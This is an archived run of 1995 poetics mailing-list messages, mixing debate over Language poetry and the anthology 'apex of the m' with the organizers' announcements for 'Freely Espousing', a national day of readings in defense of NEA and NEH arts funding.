that Joe Ross has gotten Alexander Ooms
to speak at Freely Espousing-DC.

We also have a new & improved Press Release
(courtesy of Diana Cantu's expertise) which
we will be happy to fax to you upon request.

Cities we currently have initial leads in
now include Seattle, Portland, Philadelphia

(thanks to Chris Stroffolino for the open post on that one), and Wilmington/Charlotte, North Carolina. If anyone has scoop on those communities, please e-mail us (or: make a few exploratory calls of your own and then let us know what you've found).

Finally (for now): we want to encourage anyone who is not able to attend Freely Espousing to compose a statement that can be worked into the various programs across the country. We're exploring the possibility of having Net-links at some of the events, but short of that we'd at least like to have virtual participation along with the palpable participation.

More shortly.

Steve Evans

↑ Index

98. Tom Mandel

Re: apex of the m...

Fri 20 Jan 1995

When I mentioned that we L poets critiqued the NY school I did not go on to say, as I shd have but didn't want to take the time to, that in fact our reaction was _not_ against them, nor against the New Am. Poets, but against the devitalizing and de-authorizing and de-pressing movement in conventional postwar american verse, e.g. the Wm. Stafford school with its endless white male middleclass and most often academic epiphanies of symbolic yet private experience, so small ever so small so heart's needle small and yet so important ever so important so much something they at the center of the universe were doing for everyone; _I did it for all of us_ as Stafford puts it somewhere. Not for me buddy. No thanks.

Stafford died earlier this year, having devoted most of more than eighty years life to poetry. I don't like his work one bit. So what. My opinion, and even my critique, is an unproductive fact in the face of

his work (which was his life). The only effective
counterpoise I can make to work I reject is *my own
work*, my own commitments, and beyond that some way
that I may intend deeply that they create a community
which does not present itself as a symbolic order
in place of social life but an example of social
life modeling itself as in the making. That *is*
a counterpoise.

(Not earlier this year, but in '94 of course)

tom mandel

↑ Index

99. Tom Mandel
Saussure, you dummy
Fri 20 Jan 1995

Kit Robinson kindly mailed me to remind of the name of _the Swiss linguist_ in my post a couple of days ago. Saussure, bien sur. But were it Ferdinand or Fernand, I fergit?

tom mandel

↑ Index

100. Wolfgang Staehle
Saussure, you
Fri 20 Jan 1995

> *bien sur. But were it Ferdinand or Fernand, I fergit?*

It's Ferdinand de Saussure. I misspelled Foucault the other day.

[redacted]

↑ Index

101. Ron Silliman
Re: NEA Enemy Action
Sat 21 Jan 1995

James Sherry wrote that
> The real issues are twofold and come from
>different consituencies.
>
>1. Why should Sun & Moon
>and Greywolf, etc. be allowed to compete unfairly against William

Morrow
>and Avon?

This, I think, is exactly right. I've heard this argument made against all manner of nonprofits, quite aggressively, up to and including public schools and libraries. (Jack Shoemaker used to complain bitterly about how libraries reduced the need to sell individual copies of a book. As someone who didn't even know about bookstores until I was 15 or 16, I always thought that was nuts.)
>
>2. I think if a painter of
>Elvis on Velvet from North Carolina were funded and publicized that a lot
>of this constituency's opposition will disappear.
>
Wrong on this one, James. George Dukmejian (whose last name I think I just butchered), back when he was governor of California, made a very pointed effort to appoint fellow Armenians to every single commission in California. So his "painter" on the Cal. Arts Commission was a woman from Long Beach who did watercolors of battle ships. It made no difference.

By the way, folks, the right is also currently blasting Stanford for spending $1 million+ on the archives of Allen Ginsberg. (His membership in NAMBLA is their main point.) So there will be a focus on censorship at the opening of his archives on February 10. Marjorie Perloff, Carl Rakosi, Ginsberg, Nancy Peters (editor at City Lights) & your humble servant will be on one panel. Kathleen Sullivan (the law professor & wife of the former mayor of SF, Joe Alioto) is doing something else (I'm not sure what). And Allen's reading.

Feb. 10 at Stanford. I'm sure Marjorie's got the details.

Ron Silliman
[redacted]

↑ Index

102. **eric pape**
Re: apex of the m...
Sat 21 Jan 1995

As usual, I feel as if I am blindly shooting into an argument that I know nothing about, not having read any of the apex manifestoes and only having scanned briefly all previous postings on this subject. However, it seems to me as if someone needs to say the stupidly obvious and that is that every revolution, including any poetry that pretends to be fully fulfilled revolutionary poetry, is

written in language. This point, an admittedly stupid point, I think is important when you realize how many revolutions have failed due tothe fact that they are indeed, simply a revolution of the existing social structure, a kind of endlessly self-fulfilling Hegelian loop that we don't seem able to get around. For instance, I remember this guy Mike I used to work with at Taco Bell and he hated the manager for her petty and often cruel treatment of employees. He began a systematic, and I always thought very intelligent campaign to discredit her in the fact of the owner. After many highly entertaining confrontations, he was able to get her fired. Of course, as I'm sure is already apparent, he was then named the manager and after an agonizing, I mean you could see it on his face a lot of the time, three months, he began to do the same things the person he so hated did before him. Simple, easy, maybe too easy, but the point is that you cannot change the particulars of any culture without changing the way if functions. You can't have a revolutionary poetry that says I am revolutionary and therefore I am going to write about coal miners in the language of coal miners etc. Transparency doesn't exist in the poetic context. It seems to me that Language Poetry is a neccessary, but certainly not final step towards a revolutionary poetry because it takes as its project the subversion of language. I don't know anywhere else to start. It doesn't end here, of course, but any revolutionary poetry that is going to succeed Language Poetry, and that will inevitably have to happen, will have to take into account its achievements, as well as its problems. Thanks, Eric ([redacted])

↑ Index

103. Michael Waltuch

Address

Sat 21 Jan 1995

If you know the current address of the Slovenian poet Tomas Salamun, please send it to me.

Thanks,
Michael Waltuch

↑ Index

104. Tom Mandel

Re: ???

Sat 21 Jan 1995

Back to Mexico, Stephen! But this time, take me with you...

tom

↑ Index

105. Kali Tal
Re: apex of the m...
Sat 21 Jan 1995

I'm outside both the traditional academic and literary poetry circles. Until Joe Amato introduced me to the work of the Language Poets, I'd never heard them. I like Joe's work (that's why I publish it), but my longest-lasting literary affections lie with "movement" poets, primarily feminist and/or African American and/or war veteran writers who see themselves and their work as inseperable from their politics and their activism. My perspective on the whole _apex of the m_ debate is shaped by a general distrust of manifestos which seem to be substitutes for action, or which are taken *as* actions in and of themselves. I'd like to respond to some of eric pape's comments in that spirit:

> *every revolution, including any poetry that*
> *pretends to be fully fulfilled revolutionary poetry, is written in*
> *language.*

I am not sure that this is true. In extremity, language is a luxury that many cannot afford. Violent revolutions (and perhaps most acts of physical violence) are *not* written--that is specifically what makes them violent; pens are *not* swords, however much the revolutionary (or reactionary) poet might wish that they were, might yearn to make language strike like a blow. My particular critical speciality is "literature of trauma"--specifically, the literature of "survivors" of man-made violence (Holocaust, combat, rape, etc.)--and I have found that a characteristic spanning every literature of trauma which I have yet uncovered is the agonizing tension between the failure of language ("You *can't* understand!") and the desperate need for language to suceed (You *must* understand!). Revolutionary poets yearn to write with such strength that their audience is traumatized as they have been traumatized (Jones/Baraka raging that "poems are bullshit unless they are/ teeth or trees or lemons piled/ on a step," wanting his own poem to be a machine gun, reduced to helpless ratatatting; the anger is real, the danger *behind* the poem is real, but the *poem* can never be real in the sense Baraka desires it to be). There was, last year, a lengthy discussion of "terrorist" poetics/poetry on the TNC list--some of you will remember. It seems to me that both "terrorist" and "revolutionary" poetry are impossible constructions unless one is talking about them as documentary (at one remove) rather than actual (the thing itself). Soldiers who write or talk about combat state unequivocally that language fails to describe their experience. Yet every soldier who writes or talks about combat says *something*--uses language in *ways* that fail, though he/she uses it all the same. There are qualities of "revolution" which lie outside of language--the violence that language can describe in the before and the after, but never at the now. The realm of the traumatic event is *silence,*

speechlessness, a breach in the narrative, a space for which there are no words or explanations or stories: THIS ISN'T SUPPOSED TO BE HAPPENING! Narrative constructions come later, to explain, to rationalize, to describe "what happened," but they can never represent it properly, since its nature and impact are derived from the fact that trauma is *un*representable. There are some truths which cannot be conveyed, some instances in which "only being is believing."

> *It seems to me that Language Poetry is a neccessary, but certainly not final step towards a revolutionary poetry because it takes as its project the subversion of language. I don't know anywhere else to start.*

The subversion of language is certainly the project of poets like Audre Lorde (whose description of language as "the master's tools," and whose position as the Sister Outsider make even her *use* of language and the poetic form subversive) and Margaret Atwood and Monique Wittig, and so on. But these feminist poets are not considered (I believe) to be connected to the Language Poets. Nor are they given much serious attention by either the literary or academic establishments (dismissed as "political"--and therefore possessing an "agenda"--as lesbian, as feminist). I am asking, as an outsider myself, the honest question: what is subversive about what the Language Poets? What is the distinction between the sort of subversion practiced by Lorde, for example, and various Language Poets?

> *You can't have a revolutionary poetry that says I am revolutionary and therefore I am going to write about coal miners in the language of coal miners etc. Transparency doesn't exist in the poetic context.*

Sometimes I think that we don't *see* poetry when it *is* transparent. We don't usually look very carefully at what coal miners are doing... or what disfranchised black ghetto kids are doing... or what working class women are doing... Some of the strongest and most "revolutionary" American poetry is spouted by kids at house parties, and used-to-be-kids who now have recording contracts with major record labels. Ice-T *is* a poet, though you might not much like what he's doing (I do). Ice-T is writing poetry about revolution--even if it is not revolution itself--and at least the *poetry* is being televised (hey, Gill Scott-Heron has a new album out, did you hear?). Black Entertainment Network rap programming and "Yo! MTV Raps" are pretty interesting.

Which brings me back around to the _apex of the m_ intro, which I haven't read, but have now read *about* at length. It seems to me that one can't be revolutionary without being clear what one is *for* and what one is *against*, and without being willing to put one's body on the line for one's beliefs. (Revolution is risky.) In a culture where a poet can be taken out and shot for writing a protest verse, it makes sense to talk about "revolutionary" poets. In *this* culture, it might even make sense to talk about *some* poets that way.

But it's real hard for me to swallow the notion of "revolutionary" poets who live in relative comfort and are not actively engaged in taking physical risks to participate in social or political movements. Maybe I'm just a hard-line kinda gal, but I like to save the word "revolutionary" for times when I really *mean* it....

Kali Tal

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

↑ Index

106. Robert Drake
Re: apex of the m...
Sat 21 Jan 1995

i'd like to suggest a reading experiment (hat tip to chas b.'s "writing experiments") in re _apex of the m_: begin reading on page 9--an excerpt frm ed dorn's "langue d'oc around the cloc"-- and read thru or around in the following 168 pages... & form an opinion ov the work presented. then, & only then (if you want), go back and read the introduction. how is your opinion of the contents changed?

ov course, this is a sham--even if you don't read the intro first, you've read the various comments here, & have those in mind. & my comment--the screed that passes for an introducion is even more vitrolic than the intro to AotM #1; despite that, the issues raised are (to my mind) important ones, and worth addressing--and not just defending against.

yes, my proposed re-vision of the work-as-a-whole is a reading that is _not_ the reading intended by the editors... defer to their intended reading if you prefer. fr m'self, i learn several thangs (so far)--i enjoyed much of the work presented (chris stroffolino, susan thackery, & peter gizzi among others,1st time thru); i'm still unable to appreciate jerome rothenberg's work, despite being sympathetic to his stated poetics; the work seems to me to be various & assorted, some better than others, but none of it "revolutionary"; and finally: i _can't_ find the connection between th intro and th work. that might well be my failing as a reader. it might also be a failure of vision, self-perception, or articulation of the editors-- this assuming that the intro is the work of the editors, tho it is

unsigned... at anyrate, reaction so far has seemed to be reaction to the intro, rather than the work-as-whole--3 pages out of 176.

praps the "problem" is one of perspective. one editor confided in me that one impetus was a collective tiredness with poor imitations of Language poety--something you might well tire of (as tiresome as poor plath imitations, or bukowski imitaitons), especially if yr in the relatively narrow confines of a particular graduate program. but in the rest of the world, we've never heard of l=a=n=g=a=g=e, let alone tired of it; while others with an personal investment might feel their own bastions under attack. i dunno--it hardly seems like getting worked up over, there's so little at stake...

lbd

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107. Evans/Moxley
New Press Release
Sat 21 Jan 1995

From Freely Espousing Headquarters:

A slightly punchier version of our press release is
attached below. We invite you to forward this message
but ask that you encourage Internet rather than phone
responses in your prefatory language. Our e-mail
address is [redacted].

----------Original message----------

FOR IMMEDIATE RELEASE
January 20, 1995
Contact: Steve Evans [redacted]

ARTISTS & WRITERS ORGANIZE NATIONAL DAY OF ACTION
TO DEFEND NEA, NEH

Events Planned in Seven Cities to Protest
Attack on the Arts

Writers, artists, scholars, and concerned citizens in more than a half-dozen American cities have organized *Freely Espousing,* a day of events in support of public arts funding on Saturday, January 28th, 1995. Marathon readings, exhibits, and other activities are being planned in response to threats that the new 104th Congress intends to slash federal funding for the arts and humanities provided through the National Endowment for the Arts (NEA) and the National Endowment for the Humanities (NEH).

Initiated by two Rhode Islanders--RI Senator Clairborne Pell was the architect of the 1965 legislation that created the NEA/NEH-- the idea for a day of protest spread quickly across the Internet from Providence to New York City, San Francisco, Milwaukee, San Diego, Buffalo, and Washington D.C.

Providence event organizers Steve Evans and Jennifer Moxley say "we chose the name *Freely Espousing* in order to underscore the vital role of the arts in a democratic society. It is important to call attention to the lack of rational, public debate not just on this issue, but on a range of social and cultural issues currently being forced through the Congress under the leadership of House Speaker Newt Gingrich and Senate Majority Leader Bob Dole."

The centerpiece of *Freely Espousing* events nationwide will be a marathon "read-in" of literary works created with NEA support. Featured speakers, round-table discussions, musical performances, exhibits, and other events are also planned.

###

(append local information here)

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108. Moxley/Evans
Freely Espousing 1/22 Update
Sun 22 Jan 1995

What follows is a lengthy post updating you on the progress of *Freely Espousing.* Ten days after our initial announcement, momentum continues to gather and to lead in unexpected directions.

Jen and I want to thank everyone who has contributed advice (technical and imaginative) to us in recent days.

LEGISLATIVE UPDATE

The Senate Subcommittee on Education, Arts, and Humanities is composed of the following 16 senators. We give phone numbers for each Senator, followed by fax (if available) and e-mail (if available). This is a subcommitte of the Labor, Human Resources, and Education Committee. Testimony regarding the NEA is scheduled to begin Tuesday, January 24.

Jeffords (chair; R-VT): [redacted], [redacted]
Kassebaum, Nancy (R-KS): [redacted], [redacted]
Dodd, Christopher (D-CT): [redacted]

Harkin, Thomas (D-IA): [redacted], [redacted]
Simon, Paul (D-IL): [redacted], [redacted], [redacted]
Coats, Daniel (R-IN): [redacted], [redacted]
Kennedy, Edward (D-MA): [redacted], [redacted], [redacted].
gov
Mikulski, Barbara (D-MD): [redacted], [redacted]
Abraham, Spencer (R-MI): [redacted], [redacted]
Wellstone, Paul (D-MN): [redacted], [redacted]
Ashcroft, John (R-MO): [redacted]
Gregg, Judd (R-NH): [redacted], [redacted]
Pell, Clairborne (D-RI): [redacted], [redacted]
Frist, Bill (R-TN): [redacted], [redacted]
Gorton, Slade (R-WA): [redacted], [redacted]
DeWine, Michael (R-OH): [redacted], [redacted]

(Nine Republicans, 7 Democrats)

*

FREELY ESPOUSING CONTACT PEOPLE (A REMINDER)

Seven cities have confirmed events for Jan. 28. Home phone and e-mail information for contact people follows. Very different formats exist for the days events so be sure to be in touch with the local Contact Person for details!

Providence: Steve Evans, Jennifer Moxley
[redacted]
[redacted]

Buffalo: Jena Osman
[redacted]
[redacted]

note: in Buffalo, event will not be called *Freely Espousing.* Instead it will publicized as *SAVE THE artWORLD.*

Milwaukee: Bob Harrison
[redacted]
[redacted]

New York: Jeff Hull
[redacted]
[redacted]

San Diego: Craig Foltz
[redacted]

San Francisco: Kevin Magee
[redacted]
(fax) [redacted]

Washington DC: Joe Ross
[redacted]
[redacted]

*

SPONSORING A WOODLAND PATTERN READER

Woodland Pattern has agreed to link their already-scheduled Marathon Reading to the *Freely Espousing* effort. Bob Harrison informs me that WP seeks "sponsors" for each person reading on January 28: suggested sponsoring fee is $25. This Benefit was scheduled in anticipation of lost/reduced NEA support in the coming year.

Their address is: 720 E. Locust St., Milwaukee WI 53212.
Their fax number: [redacted].

Please contact Bob for more information.

*

BEYOND JAN 28 Part 1

Los Angeles, Baton Rouge, St.Paul/Minneapolis, Wilmington (NC), Seattle, Portland, Charlottesville, and Pittsburg as some of the cities where people have expressed interest in organizing a *Freely Espousing* event. Because of obvious time constraints, it is unlikely that more than a few of these places will be able to join us on the 28th. We therefore strongly encourage people to synchronize a second wave of events for the following Saturday, Feb. 4th.

Our goal from the beginning has been self-organization strengthened by open information channels. Jennifer and I, in concert with the Ad-Hoc Committee of Literary Publishers here in RI, will be happy to provide what advice and coordinating support we can to interested parties. As combined independent agents, we can be sure that viewpoints excluded by the extant arts bureaucracies

have a place on the program (even while including spokes-
persons from those art bureaucracies).

BEYOND JAN 28th Part 2

Most people we've talked with have expressed concerns
about *sustaining* and *expanding on* the momentum
generated by these events. We invite an open debate
on how this may best be done. As Alan Bernheimer
and James Sherry have pointed out in open posts to
the Poetics List, communication across segmented
aesthetic, generic, and (most importantly) social
lines is imperative if our larger goal of preserving
and sustaining democratic means of expression and
action is to be approached. I doubt anyone needs
reminding of what 1996 could bring if concerted
efforts are not made now to generalize the material
and symbolic conditions of possibility for democratic
action. The "Loose Coalition for Democratic Inspiration"
that Rod Smith, Lee Ann Brown, and Mark Wallace
proposed a while back (vis-a-vis the Prayer in the
Schools initiative) is something we should all consider
"joining."

*

SOME OBSERVATIONS ON MEDIA ISSUES

The opening of Senate hearding on the NEA certainly will be overshadowed by Clinton's State of the Union Address later the same day. The advance line on the Address proffered by Administration spokespersons today indicates that Clinton will not so much as mention the NEA/NEH on Tuesday night (the highlight, we are told, will be a xenophobic initiative to increase spending on anti-Immigration measures). If by some chance the NEA/NEH is mentioned, by all means use the opportunity to increase local media coverage of your standpoint on Federal Arts Funding. If it isn't, sit tight: the NEA will probably surface in Thursday's print media.

Anybody who can get a Charger or 49er to make a statement
in support of the NEA/NEH will be guaranteed early entrance
into the Small Press Hall of Fame.

You may wish to seize on Murdoch's funding/bribing of a writer of little discernible talent (cf. _The Window of Opportunity_) and a nationally-recognized penchant for obscenity as a brilliant argument for why we need alternatives to the *market.* (_Window_ is Newt Gringrich's 1984 "blueprint for

the future," published by Tom Doherty Associates, written when NG was Reagan's point-man for SDI).

And finally, vis-a-vis Censorship. We abhor the NEA's imposition of censorship on itself as an agency and on the artists it funds. The point to keep foregrounded is that eliminating Federal Funding for the Arts and contributing to the further consolidation of corporate ownership of the means of expression is itself an unparalleled act of censorship. Herb Schiller's *Culture, Inc.* (NY: Oxford, 1989) remains a great reference on this point. *

Steve Evans & Jennifer Moxley
[redacted]

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109. **eric pape**
Re: apex of the m...
Sun 22 Jan 1995

Kali: Just a brief response to your provacative posting in the midst of all the Freely Espousing excitement. What is beyond language? You speak of the traumatized persons you work with expressing their frustration at the fact that they cannot communicate their experiences; you *can't* understand; you *must* understand. This seems to me certainly as you suggested a symptom of the inadequacy of language, but it also seems to see some personality, or personality issues that are beyond or before language. Isn't language the closest thing we have to an identity, a personality? Which means, I think, that identity is something we share with others,exterior. This is what I was trying to get at when I was speaking of transparency as not being in the poetic context. I'd like to amend that and say as far as I know transparency, despite Carl Rogers, is not in any context. Transparency assumes the stability of both the sender and the receiver. I can't tell you how many times I have spoken or wrote and said not five seconds after that I was full of shit and how could I say such things. It wasn't me who said them I think to myself. The frustration everyone feels with language is in this lack of coherence of identity from moment to moment. There is no rapport; something always escapes. As far as language poets vs. Lorde and others, well, that is something I'd rather not get involved in. I can say that I think of Lorde's most subsversive act is simply being there, unavoidable, unplacatable. What she does with language, which is considerable, is to remind us that there are other forms out there that not only have a right to exist, but have informed the dominant language greatly. I should shut up about the apex of the m'ers, because frankly I don't know anything about them. Nor do I want to be seen as some language school apologist. I mean, I just got here. Nobody knows me. I'm surprised anyone even

listens to me. I find them intersting (and here I speak of them as if they were already stuffed and mounted on a gallery wall) because I think they have pinpointed where to begin to define an oppositional, or revolutionary, or whatever, poetry. We start at the beginning of poetry, at the beginning of personality, at the beginning of culture. We start with language. What I find particularly interesting is that not only do many language poets *subvert* language, like you have properly noticed Lorde doing, but they make a sort of intervention into language. They try to change its structure. If we are to make any kind of intervention into history, this seems to me a model we can work with. Maybe the apexers are working with this. Maybe not. I don't know. I will say at this point that I think folks tend to discount manifestoes. Must be some sort of American anti-intellectual thing. The fact that both the language poets and the apexers wrote manifestoes is all to their credit as far as I am concerned. If we have learned anything in the last few years of NEA/NEH controversy after controversy it is that the people doing the work had better take the time to define themselves before someody else, like Lynn Cheney,does. Thanks, Eric ([redacted])

↑ Index

110. Charles Bernstein
Re: Address
Sun 22 Jan 1995

No I don't. Sorry.

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111. Chris Stroffolino
Re: apex of the m...
Mon 23 Jan 1995

Hey, Kali Tal--have you heard that new Gil Scott Heron album? Is it as good as 1980? and some of the other stuff he did before his decade or so hiatus from recording/releasing?

↑ Index

112. Michael Waltuch
Re: Freely Espousing
Mon 23 Jan 1995

Steve Evans & Jennifer Moxley:

Here's a suggestion: This week's What's New with NCSA Mosaic Pick of the Week Home Page is something called BookWire, "the book publishing industry's

Online Information Resource". They will doubtless have a lot exposure this week at their Web site. It might be good to send them a press release. They are at http://www.bookwire.com or [redacted].

Michael Waltuch

↑ Index

113. Mark Wallace
Re: apex of the m...
Mon 23 Jan 1995

In regards to James Sherry's post, why the (again) valorization of the M as the sole "meaningful" response of younger "experimental" writers to Language poetry?

Why does no one respond to A Poetics of Criticism, Poetic Briefs, various essays in Witz and Texture and (sometimes interesting essays) Talisman, which have all said much more complex, insightful, and useful things regarding this issue?

mark wallace

↑ Index

114. Alan Golding
New Press Release
Mon 23 Jan 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Steve/Jennifer:

Have you distributed your Freely Espousing press release to the TAMLIT list?

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115. Evans/Moxley
Espousing Update 1/23
Mon 23 Jan 1995

This will be a brief one.

LEGISLATIVE UPDATE

We have learned that the Senate Committee
on Labor and Human Resources has postponed
their scheduled hearing on the NEA until
later in the week. As usual, the Committee
staff proved rather unforthcoming, but we

will post the new time as soon as we learn
it.

Also, in yesterday's post we provided detailed
information on the Subcommittee on Education, Arts,
and Humanities. This week's hearing was called by
the Full Committee (L & HR), not the subcommittee,
so the people you see on C-SPAN may not be precisely
the one's we provided information for.

CALL FOR STATEMENTS

As we have mentioned before, one way to participate
in *Freely Espousing* is to post a succinct statement
expressing your viewpoint on the issue of federal
arts funding. We will do our best to distribute these
statements to all participating sites. So far,
response has been very low on this count. We think these
statements can play a crucial part in facilitating
solidarity between otherwise isolated locations, so please
do consider writing one.

ATTACK ON INTEREST FREE LOAN DEFERMENT FOR GRAD/PROF.
SCHOOLS

We received an action alert today (via the Marxist Literary
Group's list-serve) concerning *Contract with/on America*
legislation to dismantle interest free loan deferments to
grad students. We will be happy to forward that post upon
request. A 1-800 number, similar to the one established
by American Arts Alliance on the NEA issue, has been set
up (cost $3.95). We haven't got the number to hand, but
will include it in our next update.

Alright--we're a little weary here in Providence, and
a little nervous after having moved our event to a much
larger space, but reports from across the country are
very encouraging. Good work everyone!

Steve Evans & Jennifer Moxley

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116. Ryan Knighton
sign
Tue 24 Jan 1995

Could you please sign me up or on or whatever.... Or, could you tell me how. Or, at least tell me something.

thanks,
Ryan Knighton (knighton#sfu.ca)

↑ Index

117. Chris Stroffolino
Re: apex of the m...
Tue 24 Jan 1995

Dear mark--maybe a hint at an answer to your question about APEX BASHING may be found in the analogy with U.S.A. cold war politics...The USA certainly paid far more attention to the USSR than it did to England or France (despite its force du frappe) and the BIPOLAR POLITICAL MODEL still seems to exist in the poetry scene, despite the hype to the contrary... This had alot to do with how the L poets "got (in)famous" and have similar effect on MMMMMMMMMMMMMMMMMMMMMMMMMMMM.

↑ Index

118. eric pape
Re: apex of the m...
Tue 24 Jan 1995

This analogy is very useful if only to demonstrate the absurdity of reducing all the alternatives, political or poetical, down to two.

But considering the structural similarites of Soviet and US style administration, I wonder if you're trying to draw some correlation between the claims of m and of the l school? Thanks, Eric ([redacted])

↑ Index

119. Evans/Moxley
Espousing Update 1/24
Wed 25 Jan 1995

Another late-night update:

LEGISLATIVE UPDATE

The Senate Hearing on the NEA has been rescheduled
for Thursday, January 26th, at 9:30 am.

The Congressional Record for January 23rd includes
a speech given by Senator Pell in defense of the
Endowment which event organizers/participants may
wish to glance at. Also included in the record
are editorials from various national newspapers.
They are:

We Need the NEA (Providence Journal 1/15/95)
Don't Axe Federal Support for Art (NYT 1/13/95)
Maintain Subsidies to Support the Arts (Chicago Sun-Times 1/13/95)
Shunning the Yahoo Point of View (Wall St. Journal 1/13/95)
Making a Case for the Arts (Atlanta Constitution 1/10/95)
GOP Has A Song for NEA: Taps (LA Times, Washington edition 1/11/95)
America's Art and Soul (Boston Globe 12/17/94).

In the House, the Committee on Appropriations, Subcommittee on Interior and Related Agencies, was to have met this afternoon at 1:30. I haven't yet seen or heard anything about that (check tomorrow's papers).

NEA "PLANS TO" DISTRIBUTE $24 MILLION

Or so I read in 1/24 Boston Globe (but nowhere else so far). Massachusetts artists and orgs got $1.3 million. Reports of who received funds in your area could be a handy-way of tracking down further *Freely Espousing* participants.

Best to everyone,

Steve Evans & Jennifer Moxley
[redacted]

↑ Index

120. Spencer Selby
Re: apex of the m...
Wed 25 Jan 1995

Dear Chris, If what you're saying is true (about hate giving its object
power), then wouldn't the same apply to Newt Gingrich?
All Best, Spencer Selby

↑ Index

121. **Chris Stroffolino**
Re: apex of the m...
Wed 25 Jan 1995

No, eric (pape), actually, the analogy is severely flawed. I apologize for bringing it up. I do not know "the dealing that goes on behind the wings" but I prefer to be naive enough to hold out hope that if Mr. Mandel or Ms. Perloff sent work to Apex that they would read it seriously and "on its own merits" as it were. I don't want to put words in anyone's mouth, but in a letter I received several years ago from a dear friend of mine who happens to be an APEX editor, Mandel's work was mentioned positively--So I don't understand why he needs to say "I'm a language poet" in such a card-carrying way, as if these NAMES matter more than the poetry...

↑ Index

122. **Chris Stroffolino**
Re: apex of the m...
Wed 25 Jan 1995

Well, Spencer, that IS a tricky question is it. Let's SAY i HATE Newt Gingrich, or at least the interests for which he stands. Well, certainly that hatred isn't gonna make him or them go away, nor necessarily make him a larger threat then he is (except perhaps in our minds--LEST WE FORGET, etc.). It may be a quite different phenomena we're dealing with with the "divided left" which is basically how i read this L vs. M controversy... That the L vs. the M debate seems to obscure a more real debate... If we're going to be political, be political. Anyway, it's way more complicated than this...I'll use paper "without a net" to engage it more. All for now, Chris.

↑ Index

123. **James Sherry**
James, please post this; couldn't do it to: poetics@ , ubvm.cc.buffalo.edu (fwd)
Wed 25 Jan 1995

Leslie asked me to forward this to the group.

---------- Forwarded message ----------
Date: Tue, 24 Jan 95 15:40:27 PST
From: [redacted]
To: [redacted]
Subject: James, please post this; couldn't do it to: [redacted]

Dear James,

L&M S&M?, you're right. The most troubling thing is we've now got G.O.D. known only by the (spiritual) authorities (the fundamentalists; and even people saying they're Zen which they want codified, saying even Zen is essentially authority /convention as a positive assertion); where analysis (of one's language/form), or the form being what occurs or where/how it occurs, is to be overthrown as 'conservative.' Or 'merely reactive.' What's to occur as 'vision' must be given one from outside in that case. Yet that again is similar to the L's (on the West coast, usually two or three dominants, by whose ideas the entire group was then characterized - sometimes messages being given in manifesto group style; the point being that this behavior, which is now reoccurring, is jousting for dominance in which value is defined as power not related to literary substance per se, given credence by the stated assumption that displacing one's predecessors and peers is necessary. This is not the same as being a 'capitalist.'): always saying 'Question yourselves (laid bare by writing process), not us, or you're conservative; and you're (politically/socially) conservative by 'definition' if you question us.' 'You' not being an authority. Lew Daley's book on Susan Howe and John Taggart uses the word God as the reference authority about every third line; it's limiting the vocabulary. Similar to Perelman in the past finding the word "intuition" meaningless, essentially wanting to eliminate it; but not finding the word "thought" meaningless. Daley's book is a work of engagement (certainly passion) and complexity, yet his 'God' is as if a given which 'we' are supposed to know (by authority/tradition) (and renders valid the poetic observations?) rather than phenomena 'to be found out' by experience. In either case, elimination of vocabulary is exclusion of words which allow the perception of those distinctions as they are 'making' distinctions; which exclusion is also 'ordering.' The work of most Language poets is still continually changing and vital as is that of the various multitudinous dark horses, who're always there changing what is occurring. I think the poetic issues, delineated by the two (M/Language) here, parallel the contemporary religious and political moves; are not merely reactivity by them. For that reason, the Apex of M writing these matters is provocative. Personally, I'd rather 'react' to a humane rationalist (meaning even the limitations of such a specifically delineated stance) from which 'place' one can bound freely into one's own (inner) terrain, not usurped by anyone, than to have to have 'vision,' 'tradition' and 'spirituality' ('one's own place,' so that one would simply have to make another place) defined and held as a product or a poetic 'position;' which, when defined, and defining as power (as one avant-garde overtaking another), is voided. Leslie Scalapino

Tom White Leslie Scalapino

Fax: [redacted] [redacted]

↑ Index

124. Pierre Joris

Re: James, please post this; couldn't do it to: poetics@ ,

Wed 25 Jan 1995

Just as I was reading Leslie's piece, that wierd "G.O.D." in her second line appeared in huge letters on the side of a truck driving down Madison in front of my window & explaining in smaller letter that it meant:

Guaranteed Overnight Delivery

==========
========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother.
==========
==========

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125. David W. Clippinger

Cid Corman

Wed 25 Jan 1995

I was wondering if anyone has Cid Corman's current address. Your help would be much appreciated.

Thanks,

David Clippinger

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126. Kit Robinson

Re: G.O.D.

Wed 25 Jan 1995

Reply to: RE>G.O.D.
Pierre,

Wow! I thought Leslie meant Grand Old Deity.

Kit Robinson

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127. Jerry Rothenberg
el cid
Wed 25 Jan 1995

For David Clippinger --

Cid Corman's address, as of maybe two years ago, was the following:

Fukuoji-cho 80
Utano
Ukyo-ku
Kyoto 616

Not in any way private as far as I know, so I send it to you over the net.

Jerome Rothenberg

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128. LAURA MORIARTY
Re: Cid Corman
Wed 25 Jan 1995

David,

The address we have at the Poetry Center as of 1991 is

Fukuoji--Cho 80
Utano, Ukyo--Ku
Kyoto, 616, Japan

Also:

c/o Dr. Leonard Corman
87 Dartmouth St.
Boston, MA 02116

On Wed, 25 Jan 1995, David W. Clippinger wrote:

> *I was wondering if anyone has Cid Corman's current address. Your help would be much appreciated.*
>
> *Thanks,*
>
> *David Clippinger*

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129. **James Sherry**
Re: Espousing Update 1/23
Wed 25 Jan 1995

NEA is a good thing for our country to support. A nation should support its culture not as a business but as its representative to the world.

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130. **James Sherry**
Re: apex of the m...
Wed 25 Jan 1995

Chris, What do you mean that the L vs M debate obscures the real debate. What is this real debate? James

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131. **eric pape**
Re: apex of the m...
Wed 25 Jan 1995

Wanted to post this to Chris privately, but the nodeid wouldn't work. Will have to display my further ignorance of M. I was very interested in Chris's reply to Spencer: if you're going to be political, be political. I agree entirely, but isn't a technique, a method, a mode of production political? Is politics simply contents? Because Forche and others say their work is revolutionary even though written in what may be considered reactionary forms, do we accept this? And this is where my ignorance is most apparent. I know nothing of M, their claims or their practises. The work seemed to be characterized in a certain way on the list and it was this characterization I was responding to.Perhaps illegitimately? I am interested in M materials. Any suggestions as to who and where? I *do* believe there is now room in poetry and poetics for another vital movement, another school in the American passion for schools. My concern is that this other take into account the insight into politics and poetics I believe L school provides. Thanks, Eric ([redacted])

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132. **James Sherry**
Re: apex of the m...
